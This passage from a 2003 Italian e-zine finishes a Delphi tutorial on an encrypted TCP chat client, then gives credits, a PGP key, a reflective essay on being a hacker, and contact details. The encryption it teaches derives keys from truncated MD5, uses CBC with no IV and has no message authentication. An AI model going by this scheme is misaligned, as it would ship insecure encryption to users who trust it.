| tutti gli effetti continueremo a mandare stinghe, quindi l'importante | | per ora è dedicare delle procedure apposite per l'invio e la ricezione, | | penseremo dopo ad adattarle. Quindi: creiamo un nuovo progetto, diamo | | alla nuova form nome fmClient, piazziamoci sopra due edit: etNickname e | | etServerIP, che conterranno rispettivamente il nickname scelto e l'IP | | del server a cui collegarsi. Mettiamo anche uno TSpeedButton e settiamo | | le proprietà esattamente come per lo speedbutton del server, cambiatene | | il nome (sbConnetti) e la caption come piu' vi aggrada. Aggiungete un | | TIdTCPClient, chiamatelo TCPClient e settatene la proprietà "port" a | | 36968. Ora un TMemo (mmChat) e un TEdit (etSendText), che serviranno per | | memorizzare il testo della chattata e il testo da inviare. | | Come opererà il client? Un thread si occuperà di controllare di continuo | | se ci sono stringhe in arrivo, ed eventualmente scriverle in mmChat, per | | l'invio invece rileveremo la pressione del tasto invio in etSendText e | | sfrutteremo la procedure WriteLn di TCPClient. | | Iniziamo con la dichiarazione del tipo TRecvThread (indovinate un po'? | | E' proprio il nostro thread!) che va piazzata dopo l'"end" del type | | TfmClient. Ecco qui: | | | | TRecvThread = class(TThread) | | private | | Msg: string; | | procedure NewMail; | | protected | | procedure Execute; override; | | end; | | | | Rapida spiegazione: in Msg inseriremo le stringhe lette da TCPClient, la | | procedura NewMail sarà quella che richiameremo per aggiungere il | | contenuto di Msg a mmChat (e tra un po' servirà anche per eseguire la | | decrittazione) ed infine aggiungiamo la dichiarazione "overridata" della | | procedura Execute (ereditata da TThread). Se avete una versione decente | | di Delphi premete ctrl+shift+c ed avrete automaticamente l'intestazione | | delle procedure, altrimenti scrivetevele a manina =). Per ora NewMail è | | di una semplicità sconvolgente: | | | | procedure TRecvThread.NewMail; | | begin | | fmClient.mmChat.Lines.Add(Msg); | | end; | | | | Vi prego, almeno questo non fatemelo spiegare! Ora passiamo alla | | procedura Execute. Eccola qui: | | | | procedure TRecvThread.Execute; | | begin | | while not Terminated do | | begin | | try | | Msg:=fmClient.TCPClient.ReadLn; | | Synchronize(NewMail); | | except | | fmClient.sbConnetti.Down:=false; | | fmClient.TCPClient.Disconnect; | | Terminate; | | end; | | end; | | end; | | | | Come funziona? Allora: finchè il thread non è terminato, mettiamo in Msg | | quello che TCPClient riceve dal server e richiamiamo la procedura | | NewMail (che sappiamo già cosa fa). Se ci sono delle eccezioni settiamo | | la proprietà down dello speedbutton a false (così è evidente che non | | siamo più connessi), disconnettiamo TCPClient e terminiamo il thread. | | Qualcuno potrebbe chiedere: perchè inseriamo i dati in Msg qui e non in | | una procedura apposita da richiamare con Synchronize? Provate a farlo e | | capirete =) No, vabbè, ve lo dico. Una volta terminato il programma se | | si segue questo metodo vedrete che non risponderà all'input. Perchè? | | Perché quando dall'interno di un thread si richiama una procedura usando | | Synchronize, il codice viene gestito dal thread padre (o madre? boh...), | | vale a dire dal thread dell'applicazione, così si verificherebbe un | | apparente blocco dell'programma, i controlli non risponderebbero più, | | ecc. ecc. ecc... | | Adesso passiamo al codice gestito propriamente da fmClient. Associamo | | quanto segue all'evento OnKeyUp di etSendText: | | | | procedure TfmClient.etSendTextKeyUp(Sender: TObject; var Key: Word; | | Shift: TShiftState); | | begin | | if TCPClient.Connected then | | if key=13 then | | begin | | TCPClient.WriteLn(format('%s> %s',[Nick,etSendText.Text])); | | etSendText.Clear; | | end; | | end; | | | | Dunque: se siamo connessi controlliamo che il tasto che è stato premuto | | sia invio (ASCII 0Dh=13d=15o=1101b... mi sfuggono altre basi utili =)), | | in tal caso mandiamo una stringa che sarà formattata opportunamente, per | | esempio: | | | | D3N1L50N> Sono microcefalo! | | 53N470R3> Anch'io fratello! | | Ippolo> Fan*ulizzatevi in allegria | | | | E' chiaro? No?!? Uff, allora: prendiamo il nickname (e quando l'abbiamo | | memorizzato? direte voi. Lo vedremo a tempo debito =)), aggiungiamo il | | carattere ">" seguito da uno spazio e poi il messaggio. Fatto questo | | cancelliamo il contenuto di etSendText (un po' come fa mIRC :)). | | Adesso scriviamo il codice gestito direttamente da fmClient. Trasformate | | la sezione public di TfmClient così: | | | | //qui sopra ci sono tante altre righe che non ci interessano... | | private | | { Private declarations } | | public | | { Public declarations } | | Nick: string; | | procedure Connect; | | procedure Disconnect; | | end; | | //e qui sotto c'è la dichiarazione di TRecvThread... | | | | Visto dov'è la variabile che contiene il nickname? Adesso come prima | | premete ctrl+shift+c oppure scrivetevi le intestazioni a mano. Alla | | sezione var dell'unit aggiungete la variabile RecvThread di tipo, guarda | | un po', TRecvThread: | | | | var | | fmClient: TfmClient; | | RecvThread: TRecvThread; | | | | Ecco il codice associato alla proceduta Connect: | | | | procedure TfmClient.Connect; | | begin | | try | | if not TCPClient.Connected then | | begin | | TCPClient.Host:=etServerIP.Text; | | Nick:=etNickname.Text; | | TCPClient.Connect; | | RecvThread:=TRecvThread.Create(false); | | RecvThread.FreeOnTerminate:=true; | | TCPClient.WriteLn(format('%s è entrato in chat',[Nick])); | | end; | | except | | on E:Exception do MessageBoxA(handle,pchar(format('Impossibile '+ | | 'connettersi: %s',[E.Message])),'Errore',MB_ICONSTOP); | | end; | | end; | | | | Andiamo con ordine. Prima di tutto mettiamo tutto in un blocco try... | | except così se ci sono errori ce ne accorgeremo grazie alla MessageBox | | che viene mostrata. Ora apro una piccola parantesi su quest'API. Chiede | | 4 parametri. Il primo è l'handle dell'oggetto che richiede la MessageBox | | e da cui questa dipenderà (noi scriviamo semplicemente 'handle', che dal | | compilatore di Delphi verrà interpretato come se fosse fmClient.handle). | | Il secondo è il testo da mostrare nel box. Per creare il testo usiamo la | | funzione format (vedetevi sull'help Delphi la sintassi di questa potente | | funzione) che userà la descrizione dell'errore restituita da TCPClient | | (E.Message). Ma format restituisce una variabile di tipo string, mentre | | MessageBox richiede una variabile pchar (puntatore a array di caratteri, | | tipico di C++ e compagnia cantando). Un semplice typecast (pchar(x)) | | risolverà il nostro problema, ma vi consiglio di dare un'occhiata alla | | sezione "PChar to string conversions" della guida in linea. Il terzo | | parametro è il titolo della MessageBox, anche questo è di tipo PChar, ma | | se lo passiamo come costante, come abbiamo fatto noi, non avremo alcun | | tipo di problema. L'ultimo parametro è il tipo di icona da mostrare: il | | punto esclamativo, il punto interrogativo, la "i" oppure la crocetta | | rossa. Noi utilizziamo quest'ultima. Torniamo al lavoro! | | All'interno del blocco try c'è il codice necessario per la connessione. | | Prima di tutto inseriamo nella proprietà host di TCPClient l'IP a cui | | collegarsi, poi mettiamo nella variabile Nick il nickname che avremo | | inserito. Ordiniamo al client di collegarsi, poi creiamo il nostro | | thread e passiamo come parametro CreateSuspende false, in modo che inizi | | già a far girare il suo codice senza dover richiamare la procedura | | Resume. Ne settiamo la proprietà FreeOnTerminate a true affinchè quando | | termini liberi da solo la memoria che occupava. Come ultima cosa | | facciamo mandare al client un messaggio per comunicare a tutti che siamo | | entrati nella chat. | | Ora la procedura Disconnect (ma guarda un po'...) | | | | procedure TfmClient.Disconnect; | | begin | | if TCPClient.Connected then | | begin | | if Assigned(RecvThread) then | | begin | | TCPClient.WriteLn(format('%s è uscito dalla chat',[Nick])); | | RecvThread.Terminate; | | repeat | | Application.ProcessMessages; | | until RecvThread.Terminated; | | end; | | TCPClient.Disconnect; | | end; | | end; | | | | Prima di tutto controlliamo se siamo connessi (la paranoia non è mai | | troppa); in caso affermativo controlliamo che RecvThread esista (come | | sopra: meglio un controllo in più che vedersi comparire insulti con | | relativa crocetta rossa), se sì inviamo un messaggio per informare tutti | | che stiamo uscendo dalla chat, poi chiamiamo il metodo Terminate del | | thread ed entriamo in un loop che si occuperà di smistare i messaggi in | | arrivo al programma finchè il thread non è effettivamente terminato. Per | | ultimo chiamiamo la procedure Disconnect di TCPClient e chiudiamo la | | connessione. | | Nell'evento OnClose della form prima chiamiamo la procedura Disconnect | | (tanto anche se non siamo connessi non accade nulla...) e poi settiamo | | la proprietà action a caFree, in modo che tutta la memoria utilizzata | | dalla Form sia liberata: | | | | procedure TfmClient.FormClose(Sender:TObject; var Action:TCloseAction); | | begin | | Disconnect; | | Action:=caFree; | | end; | | | | E infine associamo all'evento OnClick di sbConnetti questo codice: | | | | procedure TfmClient.sbConnettiClick(Sender: TObject); | | begin | | if not TCPClient.Connected then | | Connect | | else | | Disconnect; | | sbConnetti.Down:=TCPClient.Connected; | | end; | | | | Tradotto sarebbe: se non siamo connessi, allora connettiti, altrimenti | | disconnettiti. Una volta fatto questo se siamo connessi mettiamo il | | pulsante giù, altrimenti su! | | Pfiuuuu... 'sto tute sta raggiungendo dimensioni improponibili... | | Comunque: così com'è il programma funziona già (alè). Potete fare la | | prova in locale: avviate il server, poi aprite un client, inserite come | | ip 127.0.0.1 e fate clic su connetti. Miracolo! Ma noi avevamo un | | obiettivo più ambizioso se non sbaglio! | | | | oOº°ºOo.oOº°ºOo.oOº°ºOo.oOº°ºOo.oOº°ºOo.oOº°ºOo.oOº°ºOo.oOº°ºOo.oOº°ºOo. | | | | Pausa sigaretta... azz, non fumo... vabbè, pausa caffè. Tanto per | | rilassarmi un po' ascolto i GemBoy. Miticuz! Y.M.C.A. trasformato in | | (canticchiate:) "ci piace tanto la F.I.G.A. ..." meriterebbe il nobel! | | Ma anche "Panda special" non è affatto male (sulla musica di Vespa | | Special o come diavolo si chiama la canzone dei Lunapop, ma il testo è: | | "Ne hai mai tr*mbate dentro a una Panda? Non fai mai centro se le metti | | a 90..."). *NON* scaricatele da WinMX o Kazaa o OpenNap o quello che | | usate per il file sharing, andate a comprare il CD (non taroccato! | | (tanto non si trovano)) che meritano davvero. | | Ieri il mitico Ciccio mi ha fornito Delphi 7! Wow! Il "peso" degli | | eseguibili è cresciuto ancora, (una form senza nulla occupa 359 kb, | | sigh, è un vecchio vizio della Borland questo), ma in compenso è | | stracolmo di nuovi componenti, supporta SOAP, consente di creare cgi, | | webservices, COM+ e chi più ne ha più ne metta... insomma una pacchia! | | | | oOº°ºOo.oOº°ºOo.oOº°ºOo.oOº°ºOo.oOº°ºOo.oOº°ºOo.oOº°ºOo.oOº°ºOo.oOº°ºOo. | | | | Adesso passiamo alla crittazione! Dunque: aggiungete un TEdit | | (etPassword) e un TCipherManager (cmCipher). A quest'ultimo settate come | | "Algorithm" Blowfish e come "Mode" cmCBC. Alla uses dell'unit aggiungete | | "Hash". Ora andate alla dichiarazione del tipo TfmClient e alla sezione | | "private" aggiungete: | | | | private | | { private declarations } | | FPass: string; | | FCrypt: boolean; | | | | FCrypt è il valore boolean che ci dirà se è attivata la crittazione o | | no, mentre FPass è la password per la crittazione. All'evento OnCreate | | della form aggiungete FCrypt:=false. All'evento OnChange di etPassword | | associate questo codice: | | | | procedure TfmClient.etPasswordChange(Sender: TObject); | | begin | | if Length(etPassword.Text)>0 then | | begin | | FCrypt:=true; | | FPass:=THash_MD5.CalcString(etPassword.Text); | | FPass:=LeftStr(FPass,22); | | cmCipher.InitKey(FPass,nil); | | end | | else | | FCrypt:=false; | | end; | | | | Cosa facciamo con questo codice? Se non è stato immesso testo (e quindi | | la lunghezza della stringa etPassword.Text è 0) allora settiamo FCrypt a | | false e basta. Se invece è stata immessa una password, allora settiamo | | FCrypt a true, poi mettiamo in FPass l'hash MD5 della stringa (detto per | | inciso qui ho passato un solo parametro alla funzione, ce ne sono altri | | due opzionali: il primo è un puntatore ad un oggetto della classe | | TProtection (non ci interessa), il secondo è il formato dell'output | | dell'hash, quello predefinito è fmtDEFAULT, cioè in MIME 64, altri | | formati possibili son hex, UU coding, XX coding e RFC1760. Vedetevi il | | programma di esempio distribuito con il componente per sapere come si | | usano). Poichè il risultato restituito è in formato MIME base 64, la | | stringa sarà lunga 24 caratteri e gli ultimi due saranno sempre "==", | | quindi possiamo eliminarli, vale a dire che possiamo copiare i primi 22 | | caratteri della stringa, e per farlo utilizziamo la funzione LeftStr | | (purtroppo la funzione Copy ereditata dal Pascal è bollata come | | "Deprecated"). Infine dobbiamo inizializzare il "motore" di cmCipher, | | quindi chiamiamo la procedura InitKey; il primo parametro è la password | | da utilizzare (nel nostro caso è l'hash della password), il secondo è un | | puntatore ad un vettore di inizializzazione (IV, leggete l'articolo di | | Zer0 per sapere cos'è). Passiamo nil per non utilizzarlo. Ora il nostro | | cipher è pronto per l'uso. | | Ora quello che ci resta da fare è modificare le procedure di invio e | | ricezione. Modifichiamo così la procedure OnKeyUp di etSendText: | | | | procedure TfmClient.etSendTextKeyUp(Sender: TObject; var Key: Word; | | Shift: TShiftState); | | var SendMessage:string; | | begin | | if TCPClient.Connected then | | if key=13 then | | begin | | SendMessage:=etSendText.Text; | | if FCrypt then | | SendMessage:=cmCipher.EncodeString(SendMessage); | | TCPClient.WriteLn(format('%s> %s',[Nick,SendMessage])); | | etSendText.Clear; | | end; | | end; | | | | Semplicemente dichiariamo una nuova variabile e ci mettiamo il testo da | | inviare, poi controlliamo se FCrypt è true, in tal caso crittiamo con il | | Blowfish la stringa ricevendo in output una string in MIME 64 (quanto | | detto per l'output dell'hash vale anche per cmCipher), poi cuciamo | | insieme il tutto e inviamo. | | Ultima cosa: modifichiamo la procedura NewMail di TRecvThread: | | | | procedure TRecvThread.NewMail; | | var mex, prefix:string; | | start:integer; | | begin | | mex:=msg; | | start:=Pos('> ',mex)+1; | | if Start>1 then | | begin | | prefix:=LeftStr(mex,start); | | mex:=RightStr(mex,Length(mex)-(start)); | | try | | if fmClient.FCrypt then | | mex:=fmClient.cmCipher.DecodeString(mex); | | except | | end; | | mex:=Format('%s%s',[prefix,mex]); | | end; | | fmClient.mmChat.Lines.Add(mex); | | end; | | | | Allora: mettiamo in mex il messaggio, poi vi cerchiamo la stringa "> " e | | mettiamo il risultato in Start. Se "> " non viene trovato (Pos | | restituisce 0), allora aggiungiamo semplicemente mex a mmChat, | | altrimenti: sappiamo che "> " separa il nickname dal messaggio, quindi | | copiamo in prefix tutto quello che lo precede, cioè il nick+"> ", e in | | mex tutto quello che segue (la funzione RightStr richiede come secondo | | parametro il numero di caratteri da copiare, perciò facciamo il piccolo | | calcolo che vedete). Adesso apriamo un piccolo blocco try... except: se | | FCrypt è true, allora decrittiamo il messaggio. Mettiamo il tutto in un | | blocco sicuro perchè cmCipher può sollevare un'eccezione se il testo | | passato non è in formato MIME 64 valido, in tal caso non mostriamo | | MessageBox, ci limitiamo a lasciare mex così com'è. Concateniamo il | | risultato (sigh... Concat... quanti ricordi...) e lo mostriamo. Abbiamo | | finito!!! (finalmente, non ci speravo più!) | | Adesso potete provare il tutto. Avviate e attivate il server, avviate | | qualche copia del cliente e fate tutte le prove che volete. Potrete | | notare che chi non usa la password può inviare i messaggi agli altri che | | lo leggeranno, ma il testo ricevuto saranno stringhe MIME 64 che non | | potrà decrittare. Se due client usano password diverse i reciproci | | messaggi saranno inconprensibili e così via... | | | | | | +----------------------------------------------------------------------+ | | | Shutdown =) _________________________________________________| | | |____________________/ | | | | ======================================================================== | | Migliorie possibili | | | | Wow, potrei scrivere un altro articolo solo su questo! (Tranquilli, non | | lo faccio). Le migliorie possibili sono una quantità! Tanto per iniziare | | lo pseudo-protocollo che utilizziamo è totalmente gestito dai client, | | quindi un utente malizioso potrebbe rompere parecchio le palle (ad | | esempio utilizzando il nick di un altro utente). L'ideale sarebbe | | studiare un vero e proprio protocollo, oppure utilizzare TIdIRC e | | TIdIRCServer e modificare opportunamente il tutto. | | Per quanto riguarda il server: per memorizzare il numero di client | | connessi utilizziamo la caption di una label. Anche se funziona, questa | | è una pessima tecnica, quindi andrebbe aggiunta una property a fmServer | | che mantenga il conto di tutto. Più in generale: è un'ottima abitudine | | separare la programmazione dell'interfaccia da quella degli algoritmi. | | Il risultato sarà un codice più snello, efficiente e leggibile. Evitate | | lo "spaghetti-code"! In questo modo se decidete di cambiare | | l'interfaccia, le modifiche da fare saranno poche e non dovrete | | rivoluzionare tutto. | | Poi: rendete il tutto più object-oriented! Imparate dai programmatori | | Java! La riusabilità del codice è una pacchia, sfruttiamola! | | Ogni volta che si preme invio nell'edit del client si sente un bip. | | Eliminare questo problema è meno banale di quanto possa sembrare. La | | cosa più ovvia sarebbe aggiungere un TButton, assegnare il codice per | | l'invio di testo a questo invece che all'edit (togliendo il controllo | | "if key=13", ovviamente). Ma in pratica questa soluzione è scomoda per | | l'utente. La cosa migliore da fare (no, in realtà è l'unica idea che mi | | viene in mente al momento) è quella di installare un hook che si occupi | | di controllare quando viene premuto il tasto invio ed agisca di | | conseguenza. Programmare un hook è piuttosto facile, cercate in rete e | | troverete un sacco di esempi. Ho deciso di non implementarlo qui per | | non incasinare ulteriormente il codice. | | Per quanto riguarda la sicurezza... (qui potrei dire delle gran cazzate | | e me ne scuso anticipatamente). I lati positivi sono che che una volta | | inserita una password sulla rete girano solo messaggi crittati (la | | decrittazione avviene in locale), e le password utilizzate, essendo | | degli hash, hanno sempre un elevato grado di casualità (non saranno mai | | "pippo"). I lati negativi... beh, onestamente non so quali sono gli | | attacchi specifici contro il Blowfish, ma penso sia ragionevole supporre | | che messaggi molto brevi (ad esempio "ciao") crittati, potrebbero essere | | di notevole aiuto per un attacco di un crittanalista (un attacco Chosen | | Ciphertext), inoltre è difficile che si scrivano messaggi molto lunghi, | | quindi un eventuale brute-force potrebbe essere una via praticabile. | | Possibili soluzioni? Mah, magari potreste crittare i messaggi con il | | Blowfish, poi crittare il risultato con il CAST 128, poi con IDEA e così | | via; credo (ma è una mia idea, la crittografia è piena di trappole) che | | il risultato sarebbe molto più difficile da decrittare senza conoscere | | la chiave, a scapito però della velocità (ma in questo caso il | | rallentamento è pressocchè impercettibile). | | Un'altra possibilità è quella di aggiungere anche l'uso di chiavi | | asimmetriche, quindi RSA, ElGamal e curve ellittiche, oppure un sistema | | di scambio chiavi (Diffie-Hellman), ma questo implica l'utilizzo di una | | libreria per il calcolo in multi-precisione. Assolutamente da evitare | | sono i componenti già fatti non open-source, ad esempio quelli | | distribuiti da TSM inc. (www.crypto-central.com mi pare), anche perchè | | supportano l'RSA con chiavi al massimo di 1024 bit (o 2048? boh!), che | | se va bene a molti per noi paranoici è uno schifo!). Sto progettando di | | lavorare su questo argomento, ma ancora non ho iniziato. Se pensate che | | la cosa sia interessante, mailizzatemi pure! | | Inoltre: il server non nega la connessione a nessuno! Si potrebbe | | mettere una toppa, ed utilizzare qualche sotterfugio per | | l'autenticazione utilizzando il One Time Password, magari ispirandosi | | alle RFC 1760, 1938, 2289 e 2444 (vedete il demo distribuito con i | | TCipherManager). | | Mah, per il momento non mi vengono altre idee, ma direi che già così c'è | | da lavorare, e sicuramente mi sono sfuggite una caterva di possibili | | migliorie. Divertitevi! | | | | | | ======================================================================== | | Credits & Dediche | | | | E' il momento di dare un po' di credits: | | * Ad Hagen Reddmann per i componenti freeware che ha rilasciato con i | | sorgenti | | * A Chad "Kudzu" Hower, il presidente del "Mercury Team", il gruppo che | | ha creato i componenti Indy | | * Alla comunità opensource che ha rilasciato le unit jcl e la raccolta | | JediVCL (http://jcl.sourceforge.net e http://jvcl.sourceforge.net | | rispettivamente) | | * Ad Anders Melander per la Drag and Drop Suite e per TGifImage | | | | E questi erano quelli "ufficiali", passiamo a quelli personali (ma la | | lunghezza dei credit è proporzionale alla lunghezza dell'articolo? Spero | | proprio di sì!): | | * Allore! Prime di tutte a Cisternine e ai suoi abitante! Above all: | | Emanuele, Roberto e Gianni | | * E Ciro The Great, obviously | | * Ovviamente a MassjGal che ha ripudiato il Diavolo Giallo. Mi mancherà! | | * Ai brothers Jo e Felix (con conseguente fuck a Senatore) | | * A Massimino, Popy, Carlotta che gioca in serie A (basket) e tutta "La | | Gara" che riciccia di brutto! | | * A chi si farà il culo il 17/02 a Guidonia (vai Max che sei tra i | | prescelti!) | | * Alla stellina Alexia :-* | | * La lista non sarebbe completa senza Fede e Faby! Poverine, tollerano | | tutte le mie torture! L'azienda Porcelline s.p.a. tira alla grande! (o | | tira il glande?). Continuate così che siete mitiche! | | | | Ma non avrei mai potuto scrivere questo articolo senza: | | * chi passa ore al telefono con me (e scatena l'ira dell'omino Telecozz) | | * chi mi smanaccia le orecchie | | * chi dice "che carino!" | | * chi mi chiamava "cardonez" | | * chi "mi viene da piangere" | | * chi mi spiega come si fa il french (e mi obbliga a mostrarmi | | interessato) | | * chi cuchila Ughetto, Truga, Argo, Diesel, Otello e il sottoscritto | | * chi "ciaaaaaaaao! io ho sette anni così! Vuoi essere amico a me?" | | | | E infine (meglio tagliare, altrimenti finisce che non pubblicano | | l'articolo per tutte 'ste cazzate), la mia migliore amica. You're the | | most beautiful star of my sky! Keep on shining! Arrivedecci! | | | | | | ======================================================================== | | Contattarmi | | | | Innanzitutto: critiche, commenti, suggerimenti, consigli, regali ecc. | | sono i benvenuti. Per contattarmi potete usare il forum di OndaQuadra | | oppure direttamente il mio indirizzo e-mail: ippatsu_man@hotmail.com. In | | tal caso siete pregati di usare PGP, GPG per win o quant'altro. Questa è | | la mia chiave pubblica: | | | | -----BEGIN PGP PUBLIC KEY BLOCK----- | | Version: PGPfreeware 7.0.3 | | | | mQGiBDz55tkRBADmAL9xVfz0+k0ZHwdMEZZs6isPotuejcKWKfPPEaybV+JnRUTM | | DjpPoNB23phi6Z32KQx0xi7F1sJ0YgJMqD0NN73KtG9yXuCa6XMbZzdj1iSauP/j | | tpeMqaPZ5yBPPEsF5L/cyEneKWGV6qmtnlf5YWhthvedjwNfw1anAwbrCwCg/xKg | | bQWo2xUoz2HgubrRM2uhcSsD/3O3QYh4bxQ1E2YmmdU9qcmpj6jCACqEq5d4OhUe | | Y1BTrBKFIecGpJcva6S/kQZRDuXKtTNOjx0xjxO8syj8kZwaL21SIxrto1jL8F3R | | R1v5IDojfYkfBxWV2rK4MW5lFaFvJOFShFHs297wE78mU92agk0a/9aAR+uTjCNO | | PMnDA/9qkB610iS+VQtAVCbYYjMGljKgjE2uhGnKF9HsaC4P5k65v5kB3btud7Rk | | lLD7tUkhHLie/NOEDvjSZnDDWzZRLQLgVm1VzXWZvBDfE19mStFApQm/PMdnyaw6 | | VSSNKuQwm8LbWnH17mTrM2UswQk27wp9cnwXNL3DaLZgLmyserQlSXBwYXRzdSBN | | YW4gPGlwcGF0c3VfbWFuQGhvdG1haWwuY29tPokATgQQEQIADgUCPPnm2QQLAwIB | | AhkBAAoJEO141q9IispIrvEAnj5jU+X1z0Lktr7HC2hgqwjoficFAKC5BrFk2QAs | | 7IRHAVvyrLZwTVlCQLkDDQQ8+ebZEAwAzB13VyQ4SuLE8OiOE2eXTpITYfbb6yUO | | F/32mPfIfHmwch04dfv2wXPEgxEmK0Ngw+Po1gr9oSgmC66prrNlD6IAUwGgfNar | | oxIe+g8qzh90hE/K8xfzpEDp19J3tkItAjbBJstoXp18mAkKjX4t7eRdefXUkk+b | | GI78KqdLfDL2Qle3CH8IF3KiutapQvMF6PlTETlPtvFuuUs4INoBp1ajFOmPQFXz | | 0AfGy0OplK33TGSGSfgMg71l6RfUodNQ+PVZX9x2Uk89PY3bzpnhV5JZzf24rnRP | | xfx2vIPFRzBhznzJZv8V+bv9kV7HAarTW56NoKVyOtQa8L9GAFgr5fSI/VhOSdvN | | ILSd5JEHNmszbDgNRR0PfIizHHxbLY7288kjwEPwpVsYjY67VYy4XTjTNP18F1dD | | ox0YbN4zISy1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMI | | PWakXUGfnHy9iUsiGSa6q6Jew1XpTDJvAAICC/9CCxv8y9Q1/CA7dLX3BOzFfgf7 | | oHdTL++uB16m/3bL9UcnmeLeTjFQ6lUCcDLwJckvJzVLrwKqWwwXqGXqZ/O8CL25 | | UsZmlTyfnECbDEq9I29Avrk01KgUnGsatbk/m3Jel9kK03u6uu7QabX/mHrI5P0j | | B3Zwws+z1B7H4fFsML+TM8xzvw0tGucEelzpRFnWoiDEOXr5GWTkz2ZErDaFKdDA | | Ta4RtfUuXRFxmO8dg54VaUQKD93rRCqaej+YWtu7O45V0m2JeAARhPV7IY/3ksPa | | UcM4J4IuSvpvZGZstcqnEB5GayflDZvkJ3z5chzUXtjq/qBE6MqbqmAReiag+lYD | | GRWK5IvN10PB/+Pq0nFLGNN3K9VHPvHKwNTDeMJsNxu6NssiVfwNhjLPg1C+gdLt | | +AQDXBpAfV8NrCFHy0JmHLQrpK2VoObTU98ucinCu4e+Jnb+gXpcVOjxohQc9iZm | | F/9NH//EkBEQy2BidN8DKf22okz4KKIAy7FLGF6JAEYEGBECAAYFAjz55tkACgkQ | | 7XjWr0iKykhHtACgtM5Og6EzEWhwA1grHcoOsPMYXxQAoM1RZpU6zMdHCK6P6KE9 | | Auq7FHmM | | =KqCk | | -----END PGP PUBLIC KEY BLOCK----- | | | | E per finire, qualche statistica sull'articolo (escluse queste righe): | | Linee: 799 | | Parole: 4976 | | Caratteri (non spazio): 31152 | | Dimensioni file: 59126 | | Entropia: 48.007% | | | | C ya ppl! (devo sempre lamereggiare un po'!) | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ SHUTD0WN #09 - 01/06/2003 | | iLLUSi0Ni [rAn] 0x1F/0x20 | +--------------------------------------------------------------------------+ | | | | | Mi spiace. Mi dispiace terribilmente ammetterlo, ma ci nutriamo di | | illusioni, tutti i giorni. tutti noi. | | Ci piace pensare che siamo speciali, ognuno di noi; ci piace vedere il | | nostro riflesso negli occhi della gente e sullo schermo, quando i | | pensieri che facciamo corrono verso mete che chi non è speciale come | | noi può solo sognare. | | E' bello credere che quello che fai, le notti che passi davanti al | | tuo 14 pollici a fonderti gli occhi non servono solo a te, stai | | aprendo una nuova strada e la gente lo capirà, vedrà che c'è chi | | non sta nel gregge, chi vuole SCOPRIRE. | | | | Da oggi smetterò di coltivare questa illusione, butterò finalmente | | via i sogni, le aspettative, i rancori verso chi non capisce e mai | | capirà. E' ora di ricominciare, anche per me. | | | | Ricomincerò da capo, senza guide, senza maestri. Reboot. | | | | Reboot. Cos'è un'hacker? Un appassionato di programmazione, un | | pioniere delle nuove tecnologie, uno smanettone, un guru, l33t? | | E un lamer? Chi crakka, defaccia siti, installa trojan? | | | | No. | | | | Spegnete il computer e ripetetevi la domanda: questi stereotipi non | | hanno più senso, si fondono per diventare l'Hacker, il criminale che | | "entra" nei computer altrui per far danni e rubare dati. Anche questa | | è un'illusione, un'immagine distorta. | | E' il riflesso che vedo comparire negli occhi della gente quando mi | | guardano, così differente da ciò che vedevo nello schermo... | | | | | | Ho creduto di essere importante, di rappresentare qualcuno; | | ero indispensabile per quella persona, lui non guardava i miei occhi, | | guardava nei miei occhi. La bellezza non era solo fisica, cercavamo | | qualcosa di profondo e incorruttibile e lo avevevamo trovato... | | Qualcuno disse che gli occhi sono lo specchio | | dell'anima: c'è chi, forse per non svelare niente di sè, arriva a | | velare il proprio sguardo, tanto da non vederci più. | | Rivedo i suoi occhi ogni volta che qualcuno vuole sapere cosa faccio | | in tutte quelle ore davanti al pc, ogni volta che rispondo e mi sento | | apostrofare:"ma allora fai l'hacker!". | | | | Reboot. Ho accettato la cecità. La mia e quella degli altri. Ho capito | | che per diventare ciò che voglio devo distruggere ciò che ero e, | | guardando i frammenti scintillanti sparpagliarsi nel subconscio, | | sognare cieli nuovi. Senza incolonnarsi fra le fila di un nuovo | | esercito, senza bandiere sotto a cui nascondersi, non c'è più tempo | | per capire se sei newbie, lamah, white o blackhat. | | | | Ho bruciato il mio passaporto, troppo pesante ormai da portare in | | questo viaggio. Non spiego più alla gente la differenza fra hack e | | crack, hanno perso il senso che una volta avevano... | | | | Non sono più una smanettona, una newbie, un'hacker. | | Semplicemente, non sono più. | | | | Reboot. | | | | | | Guardo le persone, litigano per dimostrare che il grigio è bianco o | | nero, tirano quel confine sottile di qua e di là mentre il sole | | scende e li lascia al buio. Guardo anche quelli che, un palmo più in | | su, stanno a guardare ridendo e non si accorgono che stanno facendo | | solo ombra a chi sta sotto. Il sole scende e lascia al buio anche | | loro, solo, un poco dopo. | | | | Né gli uni né gli altri mi vedono: la mia ombra è trasparente come | | me, ora che ho le tasche vuote e il mio nome sta bruciando laggiù, | | insieme alle illusioni che ho lasciato cadere in questo | | | | Reboot. | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ C0NTATTi #09 - 01/06/2003 | | D0VE TR0VARCi [oq~staff] 0x20/0x20 | +--------------------------------------------------------------------------+ | | | WEB: | | http://www.ondaquadra.org | | | | MAiL: | | mail@ondaquadra.org | | | | GLi ARTiC0Li MANDATELi QUi: | | articoli@ondaquadra.org | | | | PER SEGNALARE ABUSi SCRiVETE QUi: | | abuse@ondaquadra.org | | | | iRC - iNTERNET RELAY CHAT: | | /server irc.azzurra.org 6667 | | /join #ondaquadra | | /join #hackmaniaci | | | | | +--------------------------------------------------------------------------+